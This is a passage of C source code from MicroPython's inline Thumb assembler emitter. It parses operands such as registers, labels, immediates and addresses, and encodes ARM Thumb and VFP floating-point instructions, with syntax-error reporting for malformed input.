max_num_labels;\n    qstr *label_lookup;\n};\n\nSTATIC void emit_inline_thumb_error_msg(emit_inline_asm_t *emit, const char *msg) {\n    *emit->error_slot = mp_obj_new_exception_msg(&mp_type_SyntaxError, msg);\n}\n\nSTATIC void emit_inline_thumb_error_exc(emit_inline_asm_t *emit, mp_obj_t exc) {\n    *emit->error_slot = exc;\n}\n\nemit_inline_asm_t *emit_inline_thumb_new(mp_uint_t *co_data, mp_uint_t max_num_labels) {\n    emit_inline_asm_t *emit = m_new_obj(emit_inline_asm_t);\n    memset(&emit->as, 0, sizeof(emit->as));\n    mp_asm_base_init(&emit->as.base, max_num_labels);\n    emit->co_data = co_data;\n    emit->max_num_labels = max_num_labels;\n    emit->label_lookup = m_new(qstr, max_num_labels);\n    return emit;\n}\n\nvoid emit_inline_thumb_free(emit_inline_asm_t *emit) {\n    m_del(qstr, emit->label_lookup, emit->max_num_labels);\n    mp_asm_base_deinit(&emit->as.base, false);\n    m_del_obj(emit_inline_asm_t, emit);\n}\n\nSTATIC void emit_inline_thumb_start_pass(emit_inline_asm_t *emit, pass_kind_t pass, mp_obj_t *error_slot) {\n    emit->pass = pass;\n    emit->error_slot = error_slot;\n    if (emit->pass == MP_PASS_CODE_SIZE) {\n        memset(emit->label_lookup, 0, emit->max_num_labels * sizeof(qstr));\n    }\n    mp_asm_base_start_pass(&emit->as.base, pass == MP_PASS_EMIT ? MP_ASM_PASS_EMIT : MP_ASM_PASS_COMPUTE);\n    asm_thumb_entry(&emit->as, 0);\n}\n\nSTATIC void emit_inline_thumb_end_pass(emit_inline_asm_t *emit, mp_uint_t type_sig) {\n    asm_thumb_exit(&emit->as);\n    asm_thumb_end_pass(&emit->as);\n}\n\nSTATIC mp_uint_t emit_inline_thumb_count_params(emit_inline_asm_t *emit, const byte *pn, const byte *ptop) {\n    mp_uint_t n_params = pt_num_nodes(pn, ptop);\n    if (n_params > 4) {\n        emit_inline_thumb_error_msg(emit, \"can only have up to 4 parameters to Thumb assembly\");\n        return 0;\n    }\n    for (mp_uint_t i = 0; i < n_params; i++) {\n        if (!MP_PARSE_NODE_IS_ID(pn)) {\n            emit_inline_thumb_error_msg(emit, \"parameters must be registers in sequence r0 to r3\");\n            return 0;\n        }\n        qstr qst;\n        pn = pt_extract_id(pn, &qst);\n        const char *p = qstr_str(qst);\n        if (!(strlen(p) == 2 && p[0] == 'r' && p[1] == '0' + i)) {\n            emit_inline_thumb_error_msg(emit, \"parameters must be registers in sequence r0 to r3\");\n            return 0;\n        }\n    }\n    return n_params;\n}\n\nSTATIC bool emit_inline_thumb_label(emit_inline_asm_t *emit, mp_uint_t label_num, qstr label_id) {\n    assert(label_num < emit->max_num_labels);\n    if (emit->pass == MP_PASS_CODE_SIZE) {\n        // check for duplicate label on first pass\n        for (uint i = 0; i < emit->max_num_labels; i++) {\n            if (emit->label_lookup[i] == label_id) {\n                return false;\n            }\n        }\n    }\n    emit->label_lookup[label_num] = label_id;\n    mp_asm_base_label_assign(&emit->as.base, label_num);\n    return true;\n}\n\ntypedef struct _reg_name_t { byte reg; byte name[3]; } reg_name_t;\nSTATIC const reg_name_t reg_name_table[] = {\n    {0, \"r0\\0\"},\n    {1, \"r1\\0\"},\n    {2, \"r2\\0\"},\n    {3, \"r3\\0\"},\n    {4, \"r4\\0\"},\n    {5, \"r5\\0\"},\n    {6, \"r6\\0\"},\n    {7, \"r7\\0\"},\n    {8, \"r8\\0\"},\n    {9, \"r9\\0\"},\n    {10, \"r10\"},\n    {11, \"r11\"},\n    {12, \"r12\"},\n    {13, \"r13\"},\n    {14, \"r14\"},\n    {15, \"r15\"},\n    {10, \"sl\\0\"},\n    {11, \"fp\\0\"},\n    {13, \"sp\\0\"},\n    {14, \"lr\\0\"},\n    {15, \"pc\\0\"},\n};\n\n#define MAX_SPECIAL_REGISTER_NAME_LENGTH 7\ntypedef struct _special_reg_name_t { byte reg; char name[MAX_SPECIAL_REGISTER_NAME_LENGTH + 1]; } special_reg_name_t;\nSTATIC const special_reg_name_t special_reg_name_table[] = {\n    {5, \"IPSR\"},\n    {17, \"BASEPRI\"},\n};\n\n// return empty string in case of error, so we can attempt to parse the string\n// without a special check if it was in fact a string\nSTATIC const char *get_arg_str(mp_parse_node_t pn) {\n    if (MP_PARSE_NODE_IS_ID(pn)) {\n        qstr qst;\n        pt_extract_id(pn, &qst);\n        return qstr_str(qst);\n    } else {\n        return \"\";\n    }\n}\n\nSTATIC mp_uint_t get_arg_reg(emit_inline_asm_t *emit, const char *op, mp_parse_node_t pn, mp_uint_t max_reg) {\n    const char *reg_str = get_arg_str(pn);\n    for (mp_uint_t i = 0; i < MP_ARRAY_SIZE(reg_name_table); i++) {\n        const reg_name_t *r = &reg_name_table[i];\n        if (reg_str[0] == r->name[0]\n            && reg_str[1] == r->name[1]\n            && reg_str[2] == r->name[2]\n            && (reg_str[2] == '\\0' || reg_str[3] == '\\0')) {\n            if (r->reg > max_reg) {\n                emit_inline_thumb_error_exc(emit,\n                    mp_obj_new_exception_msg_varg(&mp_type_SyntaxError,\n                        \"'%s' expects at most r%d\", op, max_reg));\n                return 0;\n            } else {\n                return r->reg;\n            }\n        }\n    }\n    emit_inline_thumb_error_exc(emit,\n        mp_obj_new_exception_msg_varg(&mp_type_SyntaxError,\n            \"'%s' expects a register\", op));\n    return 0;\n}\n\nSTATIC mp_uint_t get_arg_special_reg(emit_inline_asm_t *emit, const char *op, mp_parse_node_t pn) {\n    const char *reg_str = get_arg_str(pn);\n    for (mp_uint_t i = 0; i < MP_ARRAY_SIZE(special_reg_name_table); i++) {\n        const special_reg_name_t *r = &special_reg_name_table[i];\n        if (strcmp(r->name, reg_str) == 0) {\n            return r->reg;\n        }\n    }\n    emit_inline_thumb_error_exc(emit,\n        mp_obj_new_exception_msg_varg(&mp_type_SyntaxError,\n            \"'%s' expects a special register\", op));\n    return 0;\n}\n\n#if MICROPY_EMIT_INLINE_THUMB_FLOAT\nSTATIC mp_uint_t get_arg_vfpreg(emit_inline_asm_t *emit, const char *op, mp_parse_node_t pn) {\n    const char *reg_str = get_arg_str(pn);\n    if (reg_str[0] == 's' && reg_str[1] != '\\0') {\n        mp_uint_t regno = 0;\n        for (++reg_str; *reg_str; ++reg_str) {\n            mp_uint_t v = *reg_str;\n            if (!('0' <= v && v <= '9')) {\n                goto malformed;\n            }\n            regno = 10 * regno + v - '0';\n        }\n        if (regno > 31) {\n            emit_inline_thumb_error_exc(emit,\n                 mp_obj_new_exception_msg_varg(&mp_type_SyntaxError,\n                       \"'%s' expects at most r%d\", op, 31));\n            return 0;\n        } else {\n            return regno;\n        }\n    }\nmalformed:\n    emit_inline_thumb_error_exc(emit,\n         mp_obj_new_exception_msg_varg(&mp_type_SyntaxError,\n            \"'%s' expects an FPU register\", op));\n    return 0;\n}\n#endif\n\nSTATIC mp_uint_t get_arg_reglist(emit_inline_asm_t *emit, const char *op, mp_parse_node_t pn) {\n    // a register list looks like {r0, r1, r2} and is parsed as a Python set\n\n    if (!pt_is_rule(pn, PN_atom_brace)) {\n        goto bad_arg;\n    }\n\n    const byte *ptop;\n    pn = pt_rule_extract_top(pn, &ptop);\n\n    mp_uint_t reglist = 0;\n\n    if (pn == ptop) {\n        goto bad_arg;\n    }\n    if (MP_PARSE_NODE_IS_ID(pn)) {\n        // set with one element\n        reglist |= 1 << get_arg_reg(emit, op, pn, 15);\n    } else if (pt_is_rule(pn, PN_dictorsetmaker)) {\n        pn = pt_rule_first(pn);\n        const byte *p1 = pt_next(pn);\n        if (pt_is_rule(p1, PN_dictorsetmaker_list)) {\n            // set with multiple elements\n\n            // get first element of set (we rely on get_arg_reg to catch syntax errors)\n            reglist |= 1 << get_arg_reg(emit, op, pn, 15);\n\n            // get tail elements (2nd, 3rd, ...)\n            const byte *p1_top;\n            p1 = pt_rule_extract_top(p1, &p1_top);\n            if (p1 != p1_top) {\n                mp_parse_node_extract_list(&p1, PN_dictorsetmaker_list2);\n            }\n\n            // process rest of elements\n            for (; p1 != p1_top; p1 = pt_next(p1)) {\n                reglist |= 1 << get_arg_reg(emit, op, p1, 15);\n            }\n        } else {\n            goto bad_arg;\n        }\n    } else {\n        goto bad_arg;\n    }\n\n    return reglist;\n\nbad_arg:\n    emit_inline_thumb_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, \"'%s' expects {r0, r1, ...}\", op));\n    return 0;\n}\n\nSTATIC uint32_t get_arg_i(emit_inline_asm_t *emit, const char *op, mp_parse_node_t pn, uint32_t fit_mask) {\n    mp_obj_t o;\n    if (!mp_parse_node_get_int_maybe(pn, &o, emit->co_data)) {\n        emit_inline_thumb_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, \"'%s' expects an integer\", op));\n        return 0;\n    }\n    uint32_t i = mp_obj_get_int_truncated(o);\n    if ((i & (~fit_mask)) != 0) {\n        emit_inline_thumb_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, \"'%s' integer 0x%x does not fit in mask 0x%x\", op, i, fit_mask));\n        return 0;\n    }\n    return i;\n}\n\nSTATIC bool get_arg_addr(emit_inline_asm_t *emit, const char *op, mp_parse_node_t pn, mp_parse_node_t *pn_base, mp_parse_node_t *pn_offset) {\n    if (!pt_is_rule(pn, PN_atom_bracket)) {\n        goto bad_arg;\n    }\n    if (pt_is_rule_empty(pn)) {\n        goto bad_arg;\n    }\n    pn = pt_rule_first(pn);\n    if (!pt_is_rule(pn, PN_testlist_comp)) {\n        goto bad_arg;\n    }\n    const byte *ptop;\n    pn = pt_rule_extract_top(pn, &ptop);\n    if (pt_num_nodes(pn, ptop) != 2) {\n        goto bad_arg;\n    }\n\n    *pn_base = pn;\n    *pn_offset = pt_next(pn);\n    return true;\n\nbad_arg:\n    emit_inline_thumb_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, \"'%s' expects an address of the form [a, b]\", op));\n    return false;\n}\n\nSTATIC int get_arg_label(emit_inline_asm_t *emit, const char *op, mp_parse_node_t pn) {\n    if (!MP_PARSE_NODE_IS_ID(pn)) {\n        emit_inline_thumb_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, \"'%s' expects a label\", op));\n        return 0;\n    }\n    qstr label_qstr;\n    pt_extract_id(pn, &label_qstr);\n    for (uint i = 0; i < emit->max_num_labels; i++) {\n        if (emit->label_lookup[i] == label_qstr) {\n            return i;\n        }\n    }\n    // only need to have the labels on the last pass\n    if (emit->pass == MP_PASS_EMIT) {\n        emit_inline_thumb_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, \"label '%q' not defined\", label_qstr));\n    }\n    return 0;\n}\n\ntypedef struct _cc_name_t { byte cc; byte name[2]; } cc_name_t;\nSTATIC const cc_name_t cc_name_table[] = {\n    { ASM_THUMB_CC_EQ, \"eq\" },\n    { ASM_THUMB_CC_NE, \"ne\" },\n    { ASM_THUMB_CC_CS, \"cs\" },\n    { ASM_THUMB_CC_CC, \"cc\" },\n    { ASM_THUMB_CC_MI, \"mi\" },\n    { ASM_THUMB_CC_PL, \"pl\" },\n    { ASM_THUMB_CC_VS, \"vs\" },\n    { ASM_THUMB_CC_VC, \"vc\" },\n    { ASM_THUMB_CC_HI, \"hi\" },\n    { ASM_THUMB_CC_LS, \"ls\" },\n    { ASM_THUMB_CC_GE, \"ge\" },\n    { ASM_THUMB_CC_LT, \"lt\" },\n    { ASM_THUMB_CC_GT, \"gt\" },\n    { ASM_THUMB_CC_LE, \"le\" },\n};\n\ntypedef struct _format_4_op_t { byte op; char name[3]; } format_4_op_t;\n#define X(x) (((x) >> 4) & 0xff) // only need 1 byte to distinguish these ops\nSTATIC const format_4_op_t format_4_op_table[] = {\n    { X(ASM_THUMB_FORMAT_4_EOR), \"eor\" },\n    { X(ASM_THUMB_FORMAT_4_LSL), \"lsl\" },\n    { X(ASM_THUMB_FORMAT_4_LSR), \"lsr\" },\n    { X(ASM_THUMB_FORMAT_4_ASR), \"asr\" },\n    { X(ASM_THUMB_FORMAT_4_ADC), \"adc\" },\n    { X(ASM_THUMB_FORMAT_4_SBC), \"sbc\" },\n    { X(ASM_THUMB_FORMAT_4_ROR), \"ror\" },\n    { X(ASM_THUMB_FORMAT_4_TST), \"tst\" },\n    { X(ASM_THUMB_FORMAT_4_NEG), \"neg\" },\n    { X(ASM_THUMB_FORMAT_4_CMP), \"cmp\" },\n    { X(ASM_THUMB_FORMAT_4_CMN), \"cmn\" },\n    { X(ASM_THUMB_FORMAT_4_ORR), \"orr\" },\n    { X(ASM_THUMB_FORMAT_4_MUL), \"mul\" },\n    { X(ASM_THUMB_FORMAT_4_BIC), \"bic\" },\n    { X(ASM_THUMB_FORMAT_4_MVN), \"mvn\" },\n};\n#undef X\n\n// name is actually a qstr, which should fit in 16 bits\ntypedef struct _format_9_10_op_t { uint16_t op; uint16_t name; } format_9_10_op_t;\n#define X(x) (x)\nSTATIC const format_9_10_op_t format_9_10_op_table[] = {\n    { X(ASM_THUMB_FORMAT_9_LDR | ASM_THUMB_FORMAT_9_WORD_TRANSFER), MP_QSTR_ldr },\n    { X(ASM_THUMB_FORMAT_9_LDR | ASM_THUMB_FORMAT_9_BYTE_TRANSFER), MP_QSTR_ldrb },\n    { X(ASM_THUMB_FORMAT_10_LDRH), MP_QSTR_ldrh },\n    { X(ASM_THUMB_FORMAT_9_STR | ASM_THUMB_FORMAT_9_WORD_TRANSFER), MP_QSTR_str },\n    { X(ASM_THUMB_FORMAT_9_STR | ASM_THUMB_FORMAT_9_BYTE_TRANSFER), MP_QSTR_strb },\n    { X(ASM_THUMB_FORMAT_10_STRH), MP_QSTR_strh },\n};\n#undef X\n\n#if MICROPY_EMIT_INLINE_THUMB_FLOAT\n// actual opcodes are: 0xee00 | op.hi_nibble, 0x0a00 | op.lo_nibble\ntypedef struct _format_vfp_op_t { byte op; char name[3]; } format_vfp_op_t;\nSTATIC const format_vfp_op_t format_vfp_op_table[] = {\n    { 0x30, \"add\" },\n    { 0x34, \"sub\" },\n    { 0x20, \"mul\" },\n    { 0x80, \"div\" },\n};\n#endif\n\n// shorthand alias for whether we allow ARMv7-M instructions\n#define ARMV7M MICROPY_EMIT_INLINE_THUMB_ARMV7M\n\nSTATIC void emit_inline_thumb_op(emit_inline_asm_t *emit, qstr op, mp_uint_t n_args, mp_parse_node_t *pn_args) {\n    // TODO perhaps make two tables:\n    // one_args =\n    // \"b\", LAB, asm_thumb_b_n,\n    // \"bgt\", LAB, asm_thumb_bgt_n,\n    // two_args =\n    // \"movs\", RLO, I8, asm_thumb_movs_reg_i8\n    // \"movw\", REG, REG, asm_thumb_movw_reg_i16\n    // three_args =\n    // \"subs\", RLO, RLO, I3, asm_thumb_subs_reg_reg_i3\n\n    size_t op_len;\n    const char *op_str = (const char*)qstr_data(op, &op_len);\n\n    #if MICROPY_EMIT_INLINE_THUMB_FLOAT\n    if (op_str[0] == 'v') {\n        // floating point operations\n        if (n_args == 2) {\n            mp_uint_t op_code = 0x0ac0, op_code_hi;\n            if (op == MP_QSTR_vcmp) {\n                op_code_hi = 0xeeb4;\n                op_vfp_twoargs:;\n                mp_uint_t vd = get_arg_vfpreg(emit, op_str, pn_args[0]);\n                mp_uint_t vm = get_arg_vfpreg(emit, op_str, pn_args[1]);\n                asm_thumb_op32(&emit->as,\n                    op_code_hi | ((vd & 1) << 6),\n                    op_code | ((vd & 0x1e) << 11) | ((vm & 1) << 5) | (vm & 0x1e) >> 1);\n            } else if (op == MP_QSTR_vsqrt) {\n                op_code_hi = 0xeeb1;\n                goto op_vfp_twoargs;\n            } else if (op == MP_QSTR_vneg) {\n                op_code_hi = 0xeeb1;\n                op_code = 0x0a40;\n                goto op_vfp_twoargs;\n            } else if (op == MP_QSTR_vcvt_f32_s32) {\n                op_code_hi = 0xeeb8; // int to float\n                goto op_vfp_twoargs;\n            } else if (op == MP_QSTR_vcvt_s32_f32) {\n                op_code_hi = 0xeebd; // float to int\n                goto op_vfp_twoargs;\n            } else if (op == MP_QSTR_vmrs) {\n                mp_uint_t reg_dest;\n                const char *reg_str0 = get_arg_str(pn_args[0]);\n                if (strcmp(reg_str0, \"APSR_nzcv\") == 0) {\n                    reg_dest = 15;\n                } else {\n                    reg_dest = get_arg_reg(emit, op_str, pn_args[0], 15);\n                }\n                const char *reg_str1 = get_arg_str(pn_args[1]);\n                if (strcmp(reg_str1, \"FPSCR\") == 0) {\n                    // FP status to ARM reg\n                    asm_thumb_op32(&emit->as, 0xeef1, 0x0a10 | (reg_dest << 12));\n                } else {\n                    goto unknown_op;\n                }\n            } else if (op == MP_QSTR_vmov) {\n                op_code_hi = 0xee00;\n                mp_uint_t r_arm, vm;\n                const char *reg_str = get_arg_str(pn_args[0]);\n                if (reg_str[0] == 'r') {\n                    r_arm = get_arg_reg(emit, op_str, pn_args[0], 15);\n                    vm = get_arg_vfpreg(emit, op_str, pn_args[1]);\n                    op_code_hi |= 0x10;\n                } else {\n                    vm = get_arg_vfpreg(emit, op_str, pn_args[0]);\n                    r_arm = get_arg_reg(emit, op_str, pn_args[1], 15);\n                }\n                asm_thumb_op32(&emit->as,\n                    op_code_hi | ((vm & 0x1e) >> 1),\n                    0x0a10 | (r_arm << 12) | ((vm & 1) << 7));\n            } else if (op == MP_QSTR_vldr) {\n                op_code_hi = 0xed90;\n                op_vldr_vstr:;\n                mp_uint_t vd = get_arg_vfpreg(emit, op_str, pn_args[0]);\n                mp_parse_node_t pn_base, pn_offset;\n                if (get_arg_addr(emit, op_str, pn_args[1], &pn_base, &pn_offset)) {\n                    mp_uint_t rlo_base = get_arg_reg(emit, op_str, pn_base, 7);\n                    mp_uint_t i8;\n                    i8 = get_arg_i(emit, op_str, pn_offset, 0x3fc) >> 2;\n                    asm_thumb_op32(&emit->as,\n                        op_code_hi | rlo_base | ((vd & 1) << 6),\n                        0x0a00 | ((vd & 0x1e) << 11) | i8);\n                }\n            } else if (op == MP_QSTR_vstr) {\n                op_code_hi = 0xed80;\n                goto op_vldr_vstr;\n            } else {\n                goto unknown_op;\n            }\n        } else if (n_args == 3) {\n            // search table for arith ops\n            for (mp_uint_t i = 0; i < MP_ARRAY_SIZE(format_vfp_op_table); i++) {\n                if (strncmp(op_str + 1, format_vfp_op_table[i].name, 3) == 0 && op_str[4] == '\\0') {\n                    mp_uint_t op_code_hi = 0xee00 | (format_vfp_op_table[i].op & 0xf0);\n                    mp_uint_t op_code = 0x0a00 | ((format_vfp_op_table[i].op & 0x0f) << 4);\n                    mp_uint_t vd = get_arg_vfpreg(emit, op_str, pn_args[0]);\n                    mp_uint_t vn = get_arg_vfpreg(emit, op_str, pn_args[1]);\n                    mp_uint_t vm = get_arg_vfpreg(emit, op_str, pn_args[2]);\n                    asm_thumb_op32(&emit->as,\n                        op_code_hi | ((vd & 1) << 6) | (vn >> 1),\n                        op_code | (vm >> 1) | ((vm & 1) << 5) | ((vd & 0x1e) << 11) | ((vn & 1) << 7));\n                    return;\n                }\n            }\n            goto unknown_op;\n        } else {\n            goto unknown_op;\n        }\n    } else\n    #endif\n    if (n_args == 0) {\n        if (op == MP_QSTR_nop) {\n            asm_thumb_op16(&emit->as, ASM_THUMB_OP_NOP);\n        } else if (op == MP_QSTR_wfi) {\n            asm_thumb_op16(&emit->as, ASM_THUMB_OP_WFI);\n        } else {\n            goto unknown_op;\n        }\n\n    } else if (n_args == 1) {\n        if (op == MP_QSTR_b) {\n            int label_num = get_arg_label(emit, op_str, pn_args[0]);\n            if (!asm_thumb_b_n_label(&emit->as, label_num)) {\n                goto branch_not_in_range;\n            }\n        } else if (op == MP_QSTR_bl) {\n            int label_num = get_arg_label(emit, op_str, pn_args[0]);\n            if (!asm_thumb_bl_label(&emit->as, label_num)) {\n                goto branch_not_in_range;\n            }\n        } else if (op == MP_QSTR_bx) {\n            mp_uint_t r = get_arg_reg(emit, op_str, pn_args[0], 15);\n            asm_thumb_op16(&emit->as, 0x4700 | (r << 3));\n        } else if (op_str[0] == 'b' && (op_len == 3\n                    || (op_len == 5 && op_str[3] == '_'\n                        && (op_str[4] == 'n' || (ARMV7M && op_str[4] == 'w'))))) {\n            mp_uint_t cc = -1;\n            for (mp_uint_t i = 0; i < MP_ARRAY_SIZE(cc_name_table); i++) {\n                if (op_str[1] == cc_name_table[i].name[0] && op_str[2] == cc_name_table[i].name[1]) {\n                    cc = cc_name_table[i].cc;\n                }\n            }\n            if (cc == (mp_uint_t)-1) {\n                goto unknown_op;\n            }\n            int label_num = get_arg_label(emit, op_str, pn_args[0]);\n            if (!asm_thumb_bcc_nw_label(&emit->as, cc, label_num, op_len == 5 && op_str[4] == 'w')) {\n                goto branch_not_in_range;\n            }\n        } else if (ARMV7M && op_str[0] == 'i' && op_str[1] == 't') {\n            const char *arg_str = get_arg_str(pn_args[0]);\n            mp_uint_t cc = -1;\n            for (mp_uint_t i = 0; i < MP_ARRAY_SIZE(cc_name_table); i++) {\n                if (arg_str[0] == cc_name_table[i].name[0]\n                    && arg_str[1] == cc_name_table[i].name[1]\n                    && arg_str[2] == '\\0') {\n                    cc = cc_name_table[i].cc;\n                    break;\n                }\n            }\n            if (cc == (mp_uint_t)-1) {\n                goto unknown_op;\n            }\n            const char *os = op_str + 2;\n            while (*os != '\\0') {\n                os++;\n            }\n            if (os > op_str + 5) {\n                goto unknown_op;\n            }\n            mp_uint_t it_mask = 8;\n            while (--os >= op_str + 2) {\n                it_mask >>= 1;\n                if (*os == 't') {\n                    it_mask |= (cc & 1) << 3;\n                } else if (*os == 'e') {\n                    it_mask |= ((~cc) & 1) << 3;\n                } else {\n                    goto unknown_op;\n                }\n            }\n            asm_thumb_it_cc(&emit->as, cc, it_mask);\n        } else if (op == MP_QSTR_cpsid) {\n            // TODO check pn_args[0] == i\n            asm_thumb_op16(&emit->as, ASM_THUMB_OP_CPSID_I);\n        } else if (op == MP_QSTR_cpsie) {\n            // TODO check pn_args[0] == i\n            asm_thumb_op16(&emit->as, ASM_THUMB_OP_CPSIE_I);\n        } else if (op == MP_QSTR_push) {\n            mp_uint_t reglist = get_arg_reglist(emit, op_str, pn_args[0]);\n            if ((reglist & 0xff00) == 0) {\n                asm_thumb_op16(&emit->as, 0xb400 | reglist);\n            } else {\n                if (!ARMV7M) {\n                    goto unknown_op;\n                }\n                asm_thumb_op32(&emit->as, 0xe92d, reglist);\n            }\n        } else if (op == MP_QSTR_pop) {\n            mp_uint_t reglist = get_arg_reglist(emit, op_str, pn_args[0]);\n            if ((reglist & 0xff00) == 0) {\n                asm_thumb_op16(&emit->as, 0xbc00 | reglist);\n            } else {\n                if (!ARMV7M) {\n                    goto unknown_op;\n                }\n                asm_thumb_op32(&emit->as, 0xe8bd, reglist);\n            }\n        } else {\n            goto unknown_op;\n        }\n\n    } else if (n_args == 2) {\n        if (MP_PARSE_NODE_IS_ID(pn_args[1])) {\n            // second arg is a register (or should be)\n            mp_uint_t op_code, op_code_hi;\n            if (op == MP_QSTR_mov) {\n                mp_uint_t reg_dest = get_arg_reg(emit, op_str, pn_args[0], 15);\n                mp_uint_t reg_src = get_arg_reg(emit, op_str, pn_args[1], 15);\n                asm_thumb_mov_reg_reg(&emit->as, reg_dest, reg_src);\n            } else if (ARMV7M && op == MP_QSTR_clz) {\n                op_code_hi = 0xfab0;\n                op_code = 0xf080;\n                mp_uint_t rd, rm;\n                op_clz_rbit:\n                rd = get_arg_reg(emit, op_str, pn_args[0], 15);\n                rm = get_arg_reg(emit, op_str, pn_args[1], 15);\n                asm_thumb_op32(&emit->as, op_code_hi | rm, op_code | (rd << 8) | rm);\n            } else if (ARMV7M && op == MP_QSTR_rbit) {\n                op_code_hi = 0xfa90;\n                op_code = 0xf0a0;\n                goto op_clz_rbit;\n            } else if (ARMV7M && op == MP_QSTR_mrs){\n                mp_uint_t reg_dest = get_arg_reg(emit, op_str, pn_args[0], 12);\n                mp_uint_t reg_src = get_arg_special_reg(emit, op_str, pn_args[1]);\n                asm_thumb_op32(&emit->as, 0xf3ef, 0x8000 | (reg_dest << 8) | reg_src);\n            } else {\n                if (op == MP_QSTR_and_) {\n                    op_code = ASM_THUMB_FORMAT_4_AND;\n                    mp_uint_t reg_dest, reg_src;\n                    op_format_4:\n                    reg_dest = get_arg_reg(emit, op_str, pn_args[0], 7);\n                    reg_src = get_arg_reg(emit, op_str, pn_args[1], 7);\n                    asm_thumb_format_4(&emit->as, op_code, reg_dest, reg_src);\n                    return;\n                }\n                // search table for ALU ops\n                for (mp_uint_t i = 0; i < MP_ARRAY_SIZE(format_4_op_table); i++) {\n                    if (strncmp(op_str, format_4_op_table[i].name, 3) == 0 && op_str[3] == '\\0') {\n                        op_code = 0x4000 | (format_4_op_table[i].op << 4);\n                        goto op_format_4;\n                    }\n                }\n                goto unknown_op;\n            }\n        } else {\n            // second arg is not a register\n            mp_uint_t op_code;\n            if (op == MP_QSTR_mov) {\n                op_code = ASM_THUMB_FORMAT_3_MOV;\n                mp_uint_t rlo_dest, i8_src;\n                op_format_3:\n                rlo_dest = get_arg_reg(emit, op_str, pn_args[0], 7);\n                i8_src = get_arg_i(emit, op_str, pn_args[1], 0xff);\n                asm_thumb_format_3(&emit->as, op_code, rlo_dest, i8_src);\n            } else if (op == MP_QSTR_cmp) {\n                op_code = ASM_THUMB_FORMAT_3_CMP;\n                goto op_format_3;\n            } else if (op == MP_QSTR_add) {\n                op_code = ASM_THUMB_FORMAT_3_ADD;\n                goto op_format_3;\n            } else if (op == MP_QSTR_sub) {\n                op_code = ASM_THUMB_FORMAT_3_SUB;\n                goto op_format_3;\n            } else if (ARMV7M && op == MP_QSTR_movw) {\n                op_code = ASM_THUMB_OP_MOVW;\n                mp_uint_t reg_dest;\n                op_movw_movt:\n                reg_dest = get_arg_reg(emit, op_str, pn_args[0], 15);\n                int i_src = get_arg_i(emit, op_str, pn_args[1], 0xffff);\n                asm_thumb_mov_reg_i16(&emit->as, op_code, reg_dest, i_src);\n            } else if (ARMV7M && op == MP_QSTR_movt) {\n                op_code = ASM_THUMB_OP_MOVT;\n                goto op_movw_movt;\n            } else if (ARMV7M && op == MP_QSTR_movwt) {\n                // this is a convenience instruction\n                mp_uint_t reg_dest = get_arg_reg(emit, op_str, pn_args[0], 15);\n                uint32_t i_src = get_arg_i(emit, op_str, pn_args[1], 0xffffffff);\n                asm_thumb_mov_reg_i16(&emit->as, ASM_THUMB_OP_MOVW, reg_dest, i_src & 0xffff);\n                asm_thumb_mov_reg_i16(&emit->as, ASM_THUMB_OP_MOVT, reg_dest, (i_src >> 16) & 0xffff);\n            } else if (ARMV7M && op == MP_QSTR_ldrex) {\n                mp_uint_t r_dest = get_arg_reg(emit, op_str, pn_args[0], 15);\n                mp_parse_node_t pn_base, pn_offset;\n                if (get_arg_addr(emit, op_str, pn_args[1], &pn_base, &pn_offset)) {\n                    mp_uint_t r_base = get_arg_reg(emit, op_str, pn_base, 15);\n                    mp_uint_t i8 = get_arg_i(emit, op_str, pn_offset, 0xff) >> 2;\n                    asm_thumb_op32(&emit->as, 0xe850 | r_base, 0x0f00 | (r_dest << 12) | i8);\n                }\n            } else {\n                // search table for ldr/str instructions\n                for (mp_uint_t i = 0; i < MP_ARRAY_SIZE(format_9_10_op_table); i++) {\n                    if (op == format_9_10_op_table[i].name) {\n                        op_code = format_9_10_op_table[i].op;\n                        mp_parse_node_t pn_base, pn_offset;\n                        mp_uint_t rlo_dest = get_arg_reg(emit, op_str, pn_args[0], 7);\n                        if (get_arg_addr(emit, op_str, pn_args[1], &pn_base, &pn_offset)) {\n                            mp_uint_t rlo_base = get_arg_reg(emit, op_str, pn_base, 7);\n                            mp_uint_t i5;\n                            if (op_code & ASM_THUMB_FORMAT_9_BYTE_TRANSFER) {\n                                i5 = get_arg_i(emit, op_str, pn_offset, 0x1f);\n                            } else if (op_code & ASM_THUMB_FORMAT_10_STRH) { // also catches LDRH\n                                i5 = get_arg_i(emit, op_str, pn_offset, 0x3e) >> 1;\n                            } else {\n                                i5 = get_arg_i(emit, op_str, pn_offset, 0x7c) >> 2;\n                            }\n                            asm_thumb_format_9_10(&emit->as, op_code, rlo_dest, rlo_base, i5);\n                            return;\n                        }\n                        break;\n                    }\n                }\n                goto unknown_op;\n            }\n        }\n\n    } else if (n_args == 3) {\n        mp_uint_t op_code;\n        if (op == MP_QSTR_lsl) {\n            op_code = ASM_THUMB_FORMAT_1_LSL;\n            mp_uint_t rlo_dest, rlo_src, i5;\n            op_format_1:\n            rlo_dest = get_arg_reg(emit, op_str, pn_args[0], 7);\n            rlo_src = get_arg_reg(emit, op_str, pn_args[1], 7);\n            i5 = get_arg_i(emit, op_str, pn_args[2], 0x1f);\n            asm_thumb_format_1(&emit->as, op_code, rlo_dest, rlo_src, i5);\n        } else if (op == MP_QSTR_lsr) {\n            op_code = ASM_THUMB_FORMAT_1_LSR;\n            goto op_format_1;\n        } else if (op == MP_QSTR_asr) {\n            op_code = ASM_THUMB_FORMAT_1_ASR;\n            goto op_format_1;\n        } else if (op == MP_QSTR_add) {\n            op_code = ASM_THUMB_FORMAT_2_ADD;\n            mp_uint_t rlo_dest, rlo_src;\n            op_format_2:\n            rlo_dest = get_arg_reg(emit, op_str, pn_args[0], 7);\n            rlo_src = get_arg_reg(emit, op_str, pn_args[1], 7);\n            int src_b;\n            if (MP_PARSE_NODE_IS_ID(pn_args[2])) {\n                op_code |= ASM_THUMB_FORMAT_2_REG_OPERAND;\n                src_b = get_arg_reg(emit, op_str, pn_args[2], 7);\n            } else {\n                op_code |= ASM_THUMB_FORMAT_2_IMM_OPERAND;\n                src_b = get_arg_i(emit, op_str, pn_args[2], 0x7);\n            }\n            asm_thumb_format_2(&emit->as, op_code, rlo_dest, rlo_src, 